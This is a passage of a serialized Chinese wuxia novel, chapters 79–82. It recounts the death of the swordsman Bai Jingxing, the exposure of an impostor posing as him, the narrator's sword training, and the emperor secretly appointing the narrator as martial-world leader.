我提醒他:“安吉县,你把剑丢在了酒馆。” 白景行尴尬一笑,说:“不管怎样,这把剑送给你了。” 陆游仍旧不敢接。但白景行却直接将剑扔在了他的怀里,说:“上酒来。” 陆游抱着紫麟剑,又是喜悦,又是惊慌,他引着白景行将他让向上座,命仆人前来倒酒。 仆人抱着肚皮一般大小的酒坛子摇摇晃晃地走到白景行面前,正欲倒酒,却被他一把推开。他只手抓住坛口,满满当当的酒坛子在他手中犹如无物一般,被他倒栽过来。晶莹的酒水向下倾泻。 他如长鲸饮水一般地喝酒,在场的人一阵欢呼。 他落下酒坛,“当”的一声,半坛酒已进腹中。 “好酒!”白景行哈哈大笑。 陆游也笑着,说:“前辈好酒量。” 白景行一摆手,说:“不必管我,你先去照应其他人吧。” 陆游一拱手,说:“那好,前辈且先稍后,稍后晚辈再来敬酒。” 紫麟剑依旧被陆游牢牢地抱在怀里,可以看得出,他对这份贺礼十分珍爱。但我却隐隐约约感觉到白景行有些异样。 一个剑法天下第一的剑客,却将自己的剑送给了别人。 李小谦似乎也有所发觉,他问我:“这老头怎么了?” 我说:“我不知道。” 李小谦说:“他看起来不太对劲。他虽然好酒,却从来没有像这样喝过酒。” 我们说话间,白景行已经剩下的半坛子酒一饮而尽。空坛子被他蹲在地上,发出“嗡嗡”的空响。白景行呼喝着仆人:“再上酒来。” 一坛又一坛。 不一会儿的功夫,五个空荡荡的坛子挤满了白景行脚边的空地。他似乎仍未尽兴,向仆人招手。这时,有人喊道:“闹洞房去了!” 各个桌上的年轻人个个面带喜悦,向着陆游的婚房蜂拥而去。 白景行哈哈大笑:“老夫也去看看。” 李小谦低声骂道:“这个老不羞。这么大岁数了,还喜欢看现场直播。” 等着闹洞房的人群挤满了通向后院的回廊。 白景行一袭白衣,摇摇晃晃,被人群堵在最后面。 他大喊一声:“老夫飞过去!”说罢,他双足点地,飘忽而起,飞上房檐。 “咣啷”一声。 白景行刚刚落在屋檐上,身子一晃,竟然掉了下来,结结实实地摔在地上。 “哈哈。”李小谦低声笑道,“装逼未遂。” 我踮起脚尖,目光穿过拥挤地人群。我看见白景行趴在地上,勉力撑起身子,表情痛苦,似乎是要吐。 我说:“他要吐。” 李小谦说:“喝了那么多酒,不吐才怪。” 但白景行没有吐。他腮帮子猛然鼓了起来,却又被他极力地咽了下去。 人群已经通过回廊,热闹的声音渐行渐远。 白景行依旧趴在地上,表情痛苦。 我问他:“你没事吧?” 他摆了摆手。忽然,表情一滞,眼睛瞪起。随即开始抽搐。 我大惊,叫道:“你怎么了?” 他身子一沉,重重地趴在了地上。再也没有动弹过。 我看着李小谦,他也看着我,我两人皆是茫然。 李小谦说:“他是不是死了?” 我虽然也有预感,但是我不愿相信。白景行的脸埋在地上,我把他的头侧过来,他依旧瞪着眼睛,直勾勾地看着,但眼神已然涣散。 白景行真的死了。 我有很长一段时间,不敢相信这是真的。我还在希望这如那日子在娄琴客栈中他装死一样,忽然间,他说一句话,抬起头来,继续喝酒。 但是。这一次,他却真的再也没有醒过来。 第二卷 武林盟的开始与结局 第七十九章 没死 绍兴十四年初。 这年的冬天过得尤为漫长。白景行的死不仅给我,也给娄琴,更给这个江湖蒙上了很重的阴影。 白景行死后不久,朝廷便颁布诏书。 皇上亲笔手书,仅有简单的一句:江湖,是江湖人的江湖。 这一封手书很快传遍了所有的门派。在沉重的悲痛中,江湖上的人长长的舒了一口气。因为,这句话意味着,朝廷不再插手江湖事务。 这个江湖看似归于平静,但其中的暗流却更加汹涌了。 因为,武林盟主之位悬空,更多的人开始蠢蠢欲动。 白景行出殡的当日,我、李小谦、娄琴还有陆游,四人一同前往青云山吊唁。宽阔的青云派大殿里,十二道鎏金巨柱,显尽了庙宇的恢弘。然而,每一根巨柱上垂下的黑白纱布,却让这个金碧辉煌的大殿,显得尤为肃穆。 两百多名弟子分列两旁,从白景行的灵柩前一直跪到殿外。 这两百人中各怀鬼胎,新任掌门的人选,早已成了他们私下热议与争夺的焦点。 四个青云弟子,抬着步辇缓步走入殿中。辇上坐了一个风烛残年的老者,他身形枯瘦,气息有进无出,似乎已到油尽灯枯之时。 他们说,那是白景行的师父。 他叫魏无涯。三十多年前,他送给了与他有一饭之恩的白景行一个木盒、一个竹筒,从此成就了武林第一剑法的传奇。后来,他又将青云派的掌门之位禅于白景行。 这一晃,三十年过去了。 魏无涯强撑起他那行将就木的身躯,从步辇上颤巍巍地走到灵柩前。他抚摸着灵柩,泪如雨下。 “师祖!” 大堂上传来郎朗的声响。神剑无形的武炼从最前排站起身来,跪在魏无涯面前,说:“师父未立新人便猝然离世,青云派不可一日无主,还请师祖代师父择立新掌门。” 武炼声如洪钟,在大殿之内回荡。 一个抬步辇的弟子被吓得一抖,步履一搓,踢倒了灵柩前的香炉。 “你......”魏无涯脸色忽变,说,“要小心!” 话音刚落,人群中间闪出一道人影,纳头便拜:“谢师祖!徒孙定然不辱使命!” 所有的人面面相觑,不知发生了什么。 魏无涯脸色惨白,指着那人刚要开口说些什么。或许是本就大限已到,或许是悲痛过度,他一口气没上来,竟轰然倒下,当场死了。 很快,青云派的拜帖送往了各大门派,随即震动了整个武林。 南派武林之首的青云派新任掌门竟然是一个年仅十四岁的少年,名叫易小心。 一个普通的竹筒。它就在我的手中。 伤痕累累的表面上刻满了它所经历的岁月。 那个别人口中成就了江湖江湖第一剑客的竹筒,此刻就在我的手中。 窗户是开着的。冷风从窗外吹进屋里,但我却并不觉得冷。因为,我手中的竹筒正在我内心里燃起炙热的火焰。 我望向窗外,看着天上刚刚升起的一轮明月,还有娄琴客栈后院里新修建的水池。 水池已经结了冰。 一池寒水,映着天上的明月和后院中高高挂起的灯火,看起来就像是光彩夺目的镜子。 关上窗户。冷风被挡在窗外。 我忽然觉得冷。白景行说,当我能够挡住一百一十三根银针时,我便练成他的剑法。但是,无论我如何努力,我只能挡住一根。 最初的那一根。 被银针射穿的肩膀依旧在隐隐作痛。它让我觉得冷,恐惧的冷,绝望的冷。 走到客栈厅堂。两个中年男子,一人青衣,一人灰衣,正在角落的桌上神秘地议论着什么。 他们见我在厅堂中,声音压得更低了。但是,这样寒冷的夜,静谧得足以让人听到一切窃窃私语。 “你听说了吗?”青衣男子压着嗓子,警觉地向四周张望。 灰衣男子问:“听说什么?” 青衣男子说:“白景行没有死!” “什么?!”灰衣男子惊讶地叫了出来。 我的心怦然直跳,嘴上也忍不住地叫出声来。 白景行没有死?! 这绝不可能! 绍兴陆府。陆游大喜之日。神态异常的白景行,连干了五坛酒,从屋脊上不慎坠下,强忍着呕吐往下吞咽秽(脱敏)物,不慎被呛死。 那一幕,就发生在我的眼前。 此时,若仍有人说白景行没死。我断然不肯相信。 青衣、灰衣两名男子疑惑地看着我,问:“你也知道白景行?” 我问:“他没有死?他怎么可能没有死?” 青衣说:“是真的。今日黄昏之时,我曾在城东怀香酒馆见过他。白衣、白发、白须,他自称白景行,定然没错。” 我不由得心头一颤,又惊又喜,夺门而出,顶着刺骨的寒风便向怀香酒馆狂奔。 “你去哪里?” 娄琴的声音从身后响起。我不愿停下脚步,一边跑,一边回头大喊:“我去找白景行!” 我的脚步太快,兜起了呼呼的风。风太冷,吹得我眼泪直流。 我低下头,埋头继续狂奔。 白景行没死! 这件事,足以让我拼劲全力。 然而,就在我刚刚埋下头的那一刻,只感觉头顶一挫,被一团绵软不知何物的东西弹了回来,一个不稳,蹲在地上。 我抬起头,见到的确是娄琴焦急的脸。 我问:“你要干什么?” 娄琴说:“人死不能复生,你何必要如此?” 我说:“我要去找他!” 娄琴说:“有我在,我不会让你轻生。” 我什么时候说过我要轻生了。 娄琴说:“他已经死了。即使你再伤心,他也不会活过来。” 我说:“他没有死。” 娄琴一把将我从地上拽了起来,双手抓着的肩膀使劲地摇晃着,吼道:“他死了,他死了,他已经死了。” 我被她晃得几乎要吐出来了。我奋力甩开她的手,说:“刚才有人说看到他了。” 娄琴忽然愣住了。她问:“你听谁说的?” 我正在客栈门口愣愣看着的两个男子,说:“他们说的,在怀香酒馆。” 话音刚落,我还没来得及再多解释什么,娄琴的手已经攥住了我的手。温润如玉一般的手却陡然发出了排山倒海的力道,拽着我向东疾步而去。 怀香酒馆。 破旧却古香古色的门脸,让人莫名地感觉到一股江湖气息。 踏入酒馆时。年近五旬的店老板正熟练的打着算盘。空空荡荡的小酒馆里,只听见“噼噼啪啪”的算珠碰撞声。 他抬起头,额上的横纹登时更加清晰。见我二人,他先是一愣,随后喜笑颜开向我们走来:“客官吃点什么?” “白景行呢?”我问。 “白......”店老板看上去有些发蒙,随即他似乎是想起了什么,眉头一皱,一脸怨愤地说:“你说那个老......”但他说到一半,眼角余光忽然瞥了我们一眼,脸色忽然转怒为喜,讪笑道:“那个老先生,他已经走了。” 娄琴问:“真的是他?” 店老板狐疑地看着我们,小心翼翼地问:“你们说得是谁?” 我说:“一个穿白衣服的老头,白发,白须。” 店老板连连点头,说:“不错,就是他。” 娄琴问:“他何时离开的?去了哪里?” 店老板说:“走了半个时辰了,向东,许是出来临安城了。” 我和娄琴对望一眼,彼此都难掩激动。店老板诺诺地问:“你们二位是来替他结账的吗?” 结账? 我说:“不是。” 店老板的表情既失望,又愤怒,喃喃自语道:“我以为是有人来结账呢,害我白高兴一场。” 娄琴笑着说:“老板,他一共花了多少?我来结账。” 店老板登时笑靥如花,连连点头,说:“甚好,甚好!他在小店要了一碟牛肉,一碟蚕豆,一碗素面,还有两个馒头,一共是三两银子。” 娄琴眉头一皱,似乎有所疑惑,她问:“他吃了一碗素面,还吃了两个馒头?” 店老板说:“是,就这些。” 娄琴又问:“他没有喝酒?” 店老板思索片刻,笃定地说:“没有。” “这不对啊!”娄琴看着我。 是啊。这不对啊。白景行竟然没有喝酒? 我说:“是不是因为在绍兴喝多了,从此便戒酒了。” 娄琴摇了摇头说:“前辈身患怪病,极少吃面食。即便是吃,也不过是三两口果腹便罢了,断然不会吃这么多。” 的确,白景行吃得是多了一些。 我说:“他可能是饿了。” 娄琴又摇了摇头,说:“不会。此事定有蹊跷。” 店老板打断我们,说:“你们到底结不结账?” 娄琴忽然惊醒,向店老板一番致歉,将一锭五两的银子递到他手中,说:“老板,不用找了。我另有几句话问你,还望告知。” 店老板喜得眉飞色舞,眼看着就要蹦起来了,他说:“你问,你问。老朽知无不言。” 娄琴问:“那人长得什么模样?” 店老板说:“白衣、白发、白须。” 我问:“没了?” 店老板说:“仅此而已,具体样貌并未在意。” 娄琴又问:“那人可说他叫什么了吗?” 店老板说:“他说,他叫白景行。” 娄琴喃喃道:“难道真的是他?!”但在她的眼神中,我看得出她仍有疑惑。 我问:“他为什么没给你钱?” 店老板说:“他说他是武林盟主,出门从来不带银两,江湖上的朋友自然会替他结账。我看他目光凶狠,又说是武林盟主,因此没敢阻拦。” 莫非,真的是他?! 白景行真的没有死?! (感谢各位读者的支持。新卷开始,本章下有红包答谢。苇孜将继续努力,绝不断更。) 第二卷 武林盟的开始与结局 第八十章 小心 白景行真的没有死吗? 原本已经归于平静的生活里竟无端再起波澜。虽然,我内心里无比期待着白景行白乎乎的身影再次出现在我的面前。 然而,这件事发生得实在太突然了,其中的诡谲、蹊跷,着实令人震惊。 第二天夜里,又有人在客栈里谈论,在城东的怀香酒馆碰见了一个白衣、白发、白须的老头,他自称武林盟主,吃饭不给钱。 我和娄琴再次赶到怀香酒馆之时。那里依旧空空荡荡,只有店老板指尖“噼噼啪啪”的算珠声在酒馆中脆响。 当娄琴再次要为白景行结账时,店老板却说,已经有人结了。 娄琴问:“是谁结的?” 店老板只说,是一个十四五岁的少年。 第三天,我和娄琴决定早早便到了怀香酒馆,等候那道熟悉的白影出现。 我们找了一个极为隐僻的角落里坐下,两双眼睛直直地盯着门口,谁也不愿意眨眼。我心里忽然紧张,我不住地在想,那个白影,真的会出现吗?白景行真的还活着吗? “小谦走了多久了?”娄琴忽然问我。 我想了想,说:“大概一个多月了吧。” 绍兴十三年腊月,从青云山回到临安府不久,李小谦便莫名其妙的失踪了。就如圆通一般,莫名其妙的音信全无。 娄琴叹了口气,声音中有些担忧:“不知他现在何处?过得可还好?” 我不知道。虽然,我很想知道。无论是圆通,还是李小谦,他们都曾在我生命中出现,却又在我生命中莫名地消失。 在他刚刚失踪的那段时间里,我只觉得自己如同丢失了什么极为珍贵的东西。提不起精神,整日里浑浑噩噩,满腹怅然。 也许,这便是习惯。当某个人,某件事,他一直在你的身边,如影随形时,或许你并不喜欢,但悄然之间,或许你已经深深地习惯了。唯一能让人感受到这种习惯的,只有在他们消失之后。 忽然,一股劲风从门外吹来,门板“哗啦”一阵响动。一道白影,从门外阔步走了进来。 白衫、白发、白须! 白景行! 我忍不住腾地一声站了起来,那白影如此熟悉,那一席白衣曾无数次略过我的眼前。 “白......”我刚想开口喊,却感觉手边一沉,竟是娄琴猛地拉了一下我的袖口。 我疑惑地看着她。她眼睛向下一瞥,示意我坐下。 我问:“怎么了?” 她一把将我拽坐在椅子上,贴近我耳边,轻声地说:“不是他!” 我疑惑地抬头去看。 那白影已转身面向了我们。 那的确是我脑海中无比熟悉的白衫、白发、白须,但却是一个张完全陌生的面孔。 我的心一沉,如同坠入寒窟。 真的不是他! 店老板笑吟吟地跑到那白影面前,熟练地扯下肩头的抹布,将原本就一尘不染的桌面,又仔仔细细地擦了一遍,说:“老英雄,今日想吃些什么?” 那白影轻咳一声,淡淡地说:“照旧!” 店老板一点头,向后厨喊道:“牛肉一碟,蚕豆一碟,素面一碗,馒头两个。” 多日的期盼,换来的竟是一个冒充白景行的骗子。 我心头怒气勃然而生,两腿用力一蹬,就要起身去揍他。 但娄琴却死死地拽住了我的手腕,低声说道:“不要动。先看看是怎么回事。” 我强压着怒火,缓缓坐下。 不一会儿,店老板将牛肉、蚕豆、素面、馒头摆在了那白影的面前,笑道:“老英雄,您慢用。” 那白影面色平淡,波澜不惊的模样的确像极了白景行。他说:“昨日的帐可有人结了?” 店老板连连点头,说:“结了,结了!” 他嗯了一声,拿起筷子,正准备享用桌上的美食。忽然,“嗖”的一声,从门外飞进一道不明的黑影,打落了他手上的筷子。 那白影大怒,豁然起身向门外大吼:“什么人?!竟敢打扰我白景行用餐!” 他竟然真的自称是白景行! 我感觉自己心中愤怒已无法压制,“啪”的一声拍响了桌子。只想着,今日不将此人暴打一顿,便对不起白景行赠我竹筒、木盒之恩。 虽然,那竹筒发出的银针仍让我肩头隐隐作痛。 然而,我并没有赶过去揍他。 因为,在我准备上前的那一刻,一个身穿淡蓝色衣衫的翩翩少年已悄然站在了门口。他若无其事地摆弄这手中的石子,眼睛轻蔑地看着那白影,说:“什么人如此大胆,竟然敢冒充前武林盟主!” 是易小心! 青云派的新任掌门。 眼见那白影被易小心当面识破,但他却没有一丝的慌乱之色,依旧面色平淡地说:“你怎知我就是冒充的?” 易小心哈哈大笑,他说:“真不巧,你冒充的人,正是我的恩师。” 那白影的表情依旧十分的平淡,非常非常的平淡,平淡地几乎让我认为他没有表情。 如果,一个人被另一个人当众揭穿却还能保持如此的镇定,那这个人不仅仅需要强大的内心,更需要高超的武艺。 然而,这个人,向我显尽了他内心的强大,却没有展示他高超的武功,而是拔腿向后院跑去。 易小心不动声色,只身形一晃,便出现在了那白影的面前,挡住了他的去路。 那白影表情依旧平淡,不见脸上有一丝的慌乱。但他却又调头向门外冲去。 但是,无论他转向任何方向,易小心都如铜墙铁壁一般地出现在他的面前。只身形一晃,便让他白影犹如笼中困兽,无处可逃。 那白影眼见自己已逃不出易小心的手掌,竟“噗通”一声跪倒在地上,不停地磕头,大声求饶:“大侠饶命啊。我只不过是偶然听说了尊师的大名,想借此来骗点吃喝,从来没有做过恶事。求大侠放了我吧。” 令我奇怪的事,他那平淡的表情,依旧平淡。 娄琴带着我走上前去,易小心看到我们也善意一笑。 娄琴说:“易小兄弟,没想到你武功竟然如此厉害,今日一见,着实让我震惊啊!” 我也十分震惊。 易小心年纪虽小,但他的身形步伐之快,于江湖上一流高手有过之而无不及。甚至,隐隐约约可以看到白景行当年的风采。 易小心微微一笑,说:“姐姐客气了。正好今日你们在场,也好为我做个见证。”他指着跪在地上的人,说:“此人冒充恩师招摇撞骗,今日被我当面识破,他日若有人说起此事,还请两位能将今日之事复述于他人,免得让宵小之人污了我青云派的名声。” 娄琴笑道:“那是自然。” 易小心一把揪住那白影的胡须,轻轻一扯,竟全部扯了下来。 那白须,竟然是假的。 此时,再看那人,也不过是三十出头的模样。跪在地上,两只乌黑的眼珠在眶里滴溜溜地打转,眼眶中还有盈盈的泪光闪动,似乎就要哭出来了。 但是,他的表情,平淡得让我觉得诡异。 他的表情,让我感觉,虽然他已全然落在易小心的手中,甚至跪地求饶,但似乎是在暗地里仍保留着什么厉害的招式,等待着一击中地的时机。 我绝不能让他的奸计得逞! 那人仍在求饶。我说:“你根本就不是成心求饶。” 娄琴和易小心皆是一怔,齐齐看向我,眼中都带有疑惑。 那人的眼泪刷地一下流了出来,呜咽呜咽地说:“我真的知错了,我是诚心求饶。求各位大侠饶命啊!” 他的表情,依旧非常的平淡。 我说:“你到底还隐藏了什么绝招,使出来吧!”之所以这么说,是因为我相信娄琴和易小心这两个高手,定然可以制服这个人。 他哭得更厉害了,说:“我跟你无冤无仇,你为何非要置我于死地?!” 我非常生气,这人已被我当面戳破竟然还死不认账,我咬着牙,说:“你不要装了!看你这面不改色的模样,根本就是暗地里有所盘算!” 那人忽然不再哭泣。他微微低下头,双拳骤然握紧。 我心中一紧,下意识向后退,躲到娄琴的身后。 许久。那人缓缓抬起了,他冷冷的目光冷冷地盯着我,牙关紧咬,两腮的肌肉不停颤抖。他从牙缝间挤出声音,说:“面瘫就该死吗?!” 我恍然大悟。 从前,八矛师父常教我察言观色。这时,我才感受到,他所教的那些并不太灵验,因为,这世间总有人,你费劲心力地观察了半天,才发现,他根本就无颜无色。 易小心对那人言语惩戒了一番,便让他离开了。他看着我们,带着如孩子一般天真烂漫的笑容,完全没有了方才的掌门威仪。他说:“谢谢你们帮我见证此事。有时间去青云山找我玩。” 娄琴微微一笑,说:“一定。” 易小心向我们告辞。他踏着符合他这个年纪的轻快步子,在凛凛的寒风中,消失在茫茫的夜色里。 娄琴怔怔地看着,许久都没有说话。她似乎在思索着什么,两条细柳般的眉毛忽而皱起,又忽而松弛。 我问她:“你在看什么?” 娄琴说:“这个孩子,不简单。” 我点了点头,不禁感慨:“是啊,武功真的很厉害。” 娄琴却淡淡地说:“我说的不只是武功。” “那还有什么?”我不解。 娄琴说:“还有心机!” 第二卷 武林盟的开始与结局 第八十一章 密谈 一个人,如何才能练成绝世的剑法? 风在呼喝。 手中的九郎剑迎风发出轻吟。 三尺之外,雪玉一般的光影一闪,一根闪亮的银针直直飞来。 我挥剑一挡。 “叮”一道声细如蚊的脆响传入我的耳蜗,那声音尤为悦耳。 又一根银针扑来。我反手一挥,又一声脆响。 九郎剑在我手中,正手反手,正手反手,来回挥舞得越来越得心应手。 “叮叮叮”的脆响声接连入耳。 速度越来越快。快得我手臂已经酸痛,我感觉的手臂就要抽筋。雪玉般的银光飞快地闪着,越来越密,让我已应接不暇。 不记得是第三十几根,我的肩头一麻,随即又是一阵钻心剜骨一般的剧痛。 银针,又一次穿过了我的左肩。 这时,我心里已有说不出的喜悦。因为,我距离一百一十三这个数字,已经越来越近了。 但是,我的心里同时还有道不出失落。因为,那银针射出的速度,已经快到让我完全看不清楚。第三十几根,我已经全然凭借着本能地反应去格挡。 距离练成绝世剑法,还有七十多跟银针。 我从怀中掏出那个木盒。普普通通的木盒,却没有打开的机关。白景行说,这里面装着剑法的秘籍。但他还说,只有我能接住一百一十三根银针,才能打开这个木盒。 现在看来,这本身就是悖论。 没有秘籍,我如何练成剑法? 练不成剑法便接不住一百一十三根银针,更无法打开木盒。 我真的开始怀疑,是不是白景行的老年痴呆症犯了,把事情说错了。 肩头的剧痛稍稍缓释,我走到树前,将那个竹筒摘了下来。 这是一颗红花丹桂。夏天里枝叶繁茂之时,从上到下一片郁郁森森,只是经过了这个冬天,它只剩下一片等待抽芽的枯枝。娄琴说,它很值钱,比这间客栈都值钱。 如今,却被我用来练习剑法。 可是,我的剑法进展得却如此艰难!肩头又传来一阵剧痛,这疼痛让我莫名地愤怒。我攥紧剑柄,紧紧地攒着,那愤怒便开始向剑中游走。我用力一挥。 咔嚓! 咔嚓? 我并没有砍到树干,为什么会有“咔嚓”的一声?我看着树干,齐腰高的地方竟然真的有一道剑痕,剑痕极深,仿佛已将腿一般粗细的树干齐茬斩断。 我又惊又喜。 这是怎么一回事?莫非,是我剑法练成了? 正当我沉浸在疑惑与惊喜中无法自拔之时。头顶上“咣”的一声,犹如被人当头闷了一棍,接着身子一沉。 红花丹桂倒了。 我只感觉头顶又麻又痛,一道湿热的液体从发髻缓缓流了下来。我用手一摸,一片鲜红。 当我再醒过来的时候,正躺在客房的床榻上。睁开眼睛看到的,是娄琴的笑脸。 这感觉,着实让我心里一暖。 娄琴笑着,说:“你醒了?” 我嗯了一声。 娄琴问:“为什么砍我的树?” 我忽然想起那颗被我莫名砍倒的树。我依旧确信,我挥出的剑并没有砍到那棵树。但它却的的确确倒了,并砸在了我的头上。 我说:“我没有砍到树,它却倒了。” 娄琴看着我,表情有些惊讶。她说:“你确信没有砍到?” 我说:“我确信。” 娄琴思索了片刻,说:“以后不要把竹筒挂在树上练剑了。” 我问:“为什么?” 娄琴说:“我担心你会被砸死。”她笑着起身,走了。 我勉力坐了起来,一阵晕眩。轻轻一摇头,就是炸裂一般地疼痛。我忍着痛走到客栈的厅堂。忽然,看到一个熟悉的人影。 那人身材魁梧,虎背熊腰。他正看着我,我也看着他。 “皇上找你。”他走到我身边,用极轻的声音说。 我说:“我的头很疼。” 他看了我一眼,说:“我看得出来。” 看得出来?什么意思? 他说:“但你必须要去。” 我问:“为什么?” 柳无风冷哼一声,说:“皇上召见,你敢不去。”说罢,他用他那宽厚有力的大手攥住我的肩膀,生拉硬拽地把我拉出了客栈。 还是那个酒楼。还是那个别致的雅间。还是一道景色壮阔的屏风。 他还是坐着那个位置淡淡地品茶。 “你来了?”赵构并没有看我。 柳无风单膝跪地,刚要开口。赵构说:“你出去。”柳无风一愣,点头称是,临走之前还狠狠地瞪了我一眼,目光中满满的敌意。 我问:“你找我干什么?” 赵构说:“朕要兑现当日对你的承诺。” 这样的话他已经说过一次了,但我却什么都没有得到。 赵构看着我,笑着,说:“你不信?” 我说:“我当然不信。因为你已经说过一次了。” 赵构双眉轻轻一蹙,似乎有些不太高兴。他说:“这次是真的。朕要让你当武林盟主。” 什么?! 我顿时蒙住了,头脑一阵发昏。缓了一会儿,我说:“你要让我当武林盟主?!” 赵构说:“不错。现在这个武林,就缺一个盟主。朕准备让你做这个武林盟主。” 这怎么可能?!以我的武功,怎么做武林盟主? 我说:“我不懂武功,做不了武林盟主。” 赵构似乎是听到了一个很好笑的笑话一样,呵呵地笑着,不住地摇头,说:“这天下是朕的天下,朕说谁是武林盟主,谁便是武林盟主,莫说他不懂武功,就算他是个残废,朕也一样让他做武林盟主。” 我说:“可是,你说,江湖,是江湖人的江湖。” 赵构忽然不再笑了。他目光变得极为阴冷,盯着我,让我一阵阵地发寒。他的眼角抽搐几下,冷冷地说:“江湖人,也是大宋的子民,他们也必须要听朕的!” 我被他说得哑口无言。他说得,并非没有道理。 赵构的表情忽然缓和了,他又开始笑,说:“你不用紧张。白景行曾经救过朕的性命,朕答应过他,朝廷绝不会插手江湖事务。朕说到做到。” 我不解,问:“那你为什么还要我做武林盟主?” 赵构说:“朝廷不插手江湖事务,并不代表可以放任自流。江湖上的人个个身负武功,本领不凡,如果没有人能对他们加以约束,难免有品德低劣之徒为祸治安,祸害百姓。” 我真的感觉,他说得很有道理。 自从走出雁荡山以来,这一路上我遇到了多少身负武功的江湖人,他们为非作歹,无恶不作。绍兴客栈里抢劫的飞虎帮,娄琴客栈里无事生非的带疤男子,江湖客栈里被小月杀死的括苍派淫徒,他们皆是仗着身负武功为非作歹。 这些人,的确需要约束! 所以,我点头,说:“你说得很对。” 赵构一愣,忽然开怀大笑,说:“姬旦丙啊,你......” 我不禁一阵愤怒,说:“不要叫我名字!” 赵构笑得更开心了。但我却不能把他怎么样。因为,他是皇上。 笑了很久,赵构摸了摸眼角笑出来的泪水,说:“这么说,你愿意做这个武林盟主了?” “我不愿意。”我说,“我做不了武林盟主。” 赵构说:“朕说你可以,你便可以。朕会找你帮你,帮你成为武林盟主。” 我问:“谁帮我?” 赵构冲着门外大声喊道:“无风!” “在!”门外一声呼喝。 赵构说:“进来!” 门被吱呀一声推开,柳无风迈着虎虎生风的步子走来,跪在赵构面前。 赵构说:“该说的朕已经说了,今后,你跟着姬旦丙,帮他坐上武林盟主之位。” 柳无风看了我一眼,有些不情愿。但他还是说:“遵命!” 赵构说:“今日之事,绝不可以让第四个人知道。否则......”他阴冷的目光瞪了我一眼,向我透露出杀意。 我问:“为什么不能说。如果江湖上的人知道这是皇上的旨意,或许他们会......” 赵构“砰”的一声拍响了桌子,厉声说道:“朕说过,不能说便是不能说,你只要好好地听朕的话,这个武林盟主之位就一定是你的!” 我忽然有些害怕。 我想起去年中元节那夜,在娄琴客栈里,十大门派掌门密会的场景。那些人的脸一一浮现在我的面前,他们当时的表情,每一个人都让我感到害怕。 我真的可以做武林盟主吗?他们真的能听我的吗? 赵构起身离开了。柳无风对我说,三日之后,他会到娄琴客栈找我。他紧跟在赵构身后,与他一同离开。 我默然地走下楼,心里犹如有万钧巨石一般地沉重。 踏出酒楼的门槛不足两步,店小二追了出来,挡在我的面前。他笑着,说:“客官,您的帐还有没有结。” 我问:“什么账?” 店小二说:“楼上雅间的茶水钱。” 我心头一震,几乎不敢相信自己的耳朵。皇上出门喝茶,竟然不给钱! 我说:“我没有喝茶!” 店小二虽然还在笑,但那笑容已经有些勉强了。他说:“那位客官说,这茶水钱要您来结。您不会......不认账吧!” 我连忙向四周张望,远远街道的拐角处,我看到了赵构和柳无风疾步跑进小巷的身影。我心里一阵苦涩。本来在娄琴客栈就全靠娄琴的接济,一个月也没有几钱银子,竟然还要替富有四海的皇上结茶水钱。 这他娘的叫什么事?! 第二卷 武林盟的开始与结局 第八十二章 公差 不知从什么时候开始,江湖上流传出这么一句话:青云门墙桃李盛,少年承衣钵,独步江湖武功绝,惩奸除恶。 后来,这句话不仅在江湖。在临安府的大街小巷、平头百姓之间都广为流传。 再后来,更有人把它谱成曲子,在茶楼饭馆中吟唱。与这首曲子相伴随的,是人们在茶余饭后口中谈论的,与青云派易小心有关的各种奇闻轶事。比如说,易小心一剑斩杀江西四大恶人,护卫一方平安。再比如说,易小心星夜荡平土匪山,解救被掳少女无数。还比如说,易小心在怀香酒馆活捉假盟主,力保青云派名声...... 在人们口耳相传中,易小心俨然成了这个江湖上新的传奇。人们对他大为称赞,甚至有人说他比白景行有过之而无不及。 其中,让人们唏嘘的,不仅仅是易小心这个新传奇的崛起,更是他那与这传奇极不相称的年纪。因为,他只有十四岁。 那日,柳无风对我说,三日后,他会到娄琴客栈找我。 十天过去了。 柳无风一直都没有出现。 但十天之后的这日晌午,柳无风却径直走进了娄琴客栈。他进入客栈之后的第一眼并不是看我,而是直直地盯着娄琴。 娄琴被他盯得有些不自在,表情也有些不甚高兴。但娄琴毕竟是娄琴,她很快便展开笑颜,一如常态地向柳无风走去。 “这位客官,想吃些什么?”娄琴媚笑着问。 柳无风一脸不为所动的模样,保持着他那十分冷漠而孤傲地表情。他嗯了一声,坐在桌前,却转头看向了我,说:“你,过来!” 他这种故作深沉的模样,着实让我感到厌恶。用李小谦的话来评价,这便是典型的活装逼。 我问:“你要干什么?” 娄琴一愣,问:“你们认得?” 我点了点头,说:“他是......”我还没有说完,柳无风急忙打断了我,说:“一个朋友。” 谁和他是朋友?! 我说:“不是朋友!” 娄琴或许是被我俩搞蒙了,她看了看我,又看了看柳无风,说:“你们聊吧,我去弄点吃的。” 坐在柳无风面前,看着他活装逼的脸,我满心的不喜欢。我想,应该先给他个下马威,让他知道我也不是吃素的。 刚想开口,店里的伙计摆在我面前三碟素菜。一盘萝卜丝,一盘炒蔓菁,一盘韭黄。 我决定先不理会柳无风,拿起筷子,将三样小菜各自尝了一遍,熟悉的味道让我心绪稍宽。 沉默了许久,柳无风终于还是忍不住了,他说:“我们得去一趟括苍山。” 括苍山? 我想起了陈伯洋,还有那把被他耍得虎虎生风的刀,心里不由得一阵紧张。 但我仍旧装成爱答不理地样子,用很随意的口气问:“去括苍山干什么?” 柳无风说:“参会!” 我问:“参什么会?” 柳无风说:“武林大会。” 括苍山要开武林大会?!若有这样的大事应该早已风满江湖,怎么我从来都没有听说过? 我大感好奇,凑到柳无风跟前,问:“什么时候?” 柳无风说:“十日之后!” 我说:“为什么要开武林大会?” 柳无风说:“去了便知道了。” 我问:“什么时候去?” 柳无风说:“现在就走!” 我说:“我还没有吃饱。我还有东西需要准备。我还......” 柳无风说:“我给你一个时辰。” 他总是这样打断我讲话,这一点我很生气。我才是皇上钦点的武林盟主,他只不过是奉命来帮我的。我一拍桌子,吼道:“这里谁说了算?!” 柳无风风轻云淡地说:“我!” 他这种完全不把我放在眼中的态度,已经彻底把我激怒了。是可忍孰不可忍!我决定和他一较高下。 “铮”的一声,我拔出了九郎剑。用剑尖指着柳无风,喊道:“我和你拼了!” 九郎剑向前一刺。柳无风却并没有站起来,他的屁股紧紧的贴着凳子,凳子也紧紧贴着他的屁股。他们仿佛浑然一体,向后平移。 一剑刺空,我并不甘心,重新提剑向下劈斩。 柳无风翻身向后,凳子依旧牢牢地贴在他屁股上,跟着他一起在空中后翻。 “咣”的一声,凳子又落在地上。他稳稳地坐着。我这一剑又劈空了。 “住手!”娄琴从后院跑来,大声喝道。一道紫影在我眼前一飘而过,瞬息之后,我感觉手中变得空虚,低头一看,九郎剑已然不见了踪影。 